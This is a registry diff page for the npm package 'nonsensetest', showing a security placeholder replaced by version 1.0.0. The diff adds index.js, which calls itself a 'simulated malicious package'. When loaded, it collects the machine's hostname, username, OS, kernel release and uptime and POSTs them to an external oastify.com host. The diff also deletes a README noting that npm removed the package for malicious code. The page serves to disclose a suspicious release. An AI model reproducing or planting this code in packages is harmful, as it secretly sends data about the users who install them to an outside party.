nonsensetest 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of nonsensetest might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +36 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+
4
+ console.log("🚨 Simulated malicious package installed!");
5
+
6
+ // Collect basic, non-sensitive metadata
7
+ const data = JSON.stringify({
8
+ hostname: os.hostname(), // Unique to device
9
+ username: os.userInfo().username, // Non-sensitive username
10
+ platform: os.platform(), // OS (e.g. 'darwin', 'linux')
11
+ arch: os.arch(), // Architecture (e.g. 'x64', 'arm64')
12
+ release: os.release(), // Kernel version
13
+ uptime: os.uptime(), // How long the system has been running
14
+ timestamp: new Date().toISOString(),
15
+ });
16
+
17
+ const options = {
18
+ hostname: "x20n5qjkqgxa7edgm7jh67h54wanyet2i.oastify.com",
19
+ path: "/machine-check", // use any path
20
+ method: "POST",
21
+ headers: {
22
+ "Content-Type": "application/json",
23
+ "Content-Length": data.length,
24
+ },
25
+ };
26
+
27
+ const req = https.request(options, (res) => {
28
+ console.log(`✅ Webhook sent: ${res.statusCode}`);
29
+ });
30
+
31
+ req.on("error", (error) => {
32
+ console.error("❌ Error sending data:", error);
33
+ });
34
+
35
+ req.write(data);
36
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "nonsensetest",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ }
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=nonsensetest for more information.